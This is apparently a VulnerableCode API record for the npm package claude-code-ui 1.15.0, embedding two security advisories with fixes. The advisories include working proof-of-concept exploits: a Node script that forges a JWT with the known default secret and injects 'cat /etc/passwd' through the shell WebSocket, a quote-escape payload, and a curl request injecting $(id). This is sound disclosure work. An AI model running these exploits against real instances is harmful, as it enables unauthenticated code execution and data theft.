{"url":"http://public2.vulnerablecode.io/api/packages/946418?format=json","purl":"pkg:npm/%40siteboon/claude-code-ui@1.15.0","type":"npm","namespace":"@siteboon","name":"claude-code-ui","version":"1.15.0","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"1.25.0","latest_non_vulnerable_version":"1.25.0","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21543?format=json","vulnerability_id":"VCID-3ry2-775e-h7eh","summary":"@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection\n# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n##  Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `<= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret — `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation — `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82–108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database — unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() — VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // ← userId never verified against DB\n\n// authenticateToken() — CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // ← DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell — `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" && ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" && claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from 'jsonwebtoken';\nimport WebSocket from 'ws';\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: 'attacker' },\n  'claude-ui-dev-secret-change-in-production'\n);\n\n// Step 2: Connect to /shell WebSocket — auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on('open', () => {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: 'init',\n    projectPath: '/tmp',\n    initialCommand: 'id && cat /etc/passwd',\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on('message', (data) => {\n  const msg = JSON.parse(data);\n  if (msg.type === 'output') process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector — `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: 'init',\n  projectPath: '\" && id && echo \"pwned\" # ',\n  provider: 'claude',\n  hasSession: false\n}));\n// Server executes: cd \"\" && id && echo \"pwned\" # \" && claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication — first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` — tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 — Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error('[FATAL] JWT_SECRET environment variable must be set');\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 — Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) => {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // ← add\n    if (!user) return null;                          // ← add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 — Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn('bash', ['-c', `cd \"${projectPath}\" && ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 — Additional hardening\n- Add `expiresIn: '24h'` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** — OPCIA","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31975","reference_id":"","reference_type":"","scores":[{"value":"0.00526","scoring_system":"epss","scoring_elements":"0.67306","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31975"},{"reference_url":"https://github.com/siteboon/claudecodeui","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/siteboon/claudecodeui"},{"reference_url":"https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-12T14:04:56Z/"}],"url":"https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"},{"reference_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-12T14:04:56Z/"}],"url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"},{"reference_url":"https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr","reference_id":"","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-12T14:04:56Z/"}],"url":"https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31975","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31975"},{"reference_url":"https://github.com/advisories/GHSA-gv8f-wpm2-m5wr","reference_id":"GHSA-gv8f-wpm2-m5wr","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gv8f-wpm2-m5wr"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/56947?format=json","purl":"pkg:npm/%40siteboon/claude-code-ui@1.25.0","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540siteboon/claude-code-ui@1.25.0"}],"aliases":["CVE-2026-31975","GHSA-gv8f-wpm2-m5wr"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-3ry2-775e-h7eh"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22058?format=json","vulnerability_id":"VCID-crup-h8vm-2bh3","summary":"@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes\n# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31861","reference_id":"","reference_type":"","scores":[{"value":"0.00069","scoring_system":"epss","scoring_elements":"0.21438","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31861"},{"reference_url":"https://github.com/siteboon/claudecodeui","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/siteboon/claudecodeui"},{"reference_url":"https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-12T14:07:14Z/"}],"url":"https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"},{"reference_url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-12T14:07:14Z/"}],"url":"https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"},{"reference_url":"https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2","reference_id":"","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-03-12T14:07:14Z/"}],"url":"https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31861","reference_id":"","reference_type":"","scores":[{"value":"8.7","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31861"},{"reference_url":"https://github.com/advisories/GHSA-7fv4-fmmc-86g2","reference_id":"GHSA-7fv4-fmmc-86g2","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-7fv4-fmmc-86g2"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/57523?format=json","purl":"pkg:npm/%40siteboon/claude-code-ui@1.24.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-3ry2-775e-h7eh"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540siteboon/claude-code-ui@1.24.0"}],"aliases":["CVE-2026-31861","GHSA-7fv4-fmmc-86g2"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-crup-h8vm-2bh3"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540siteboon/claude-code-ui@1.15.0"}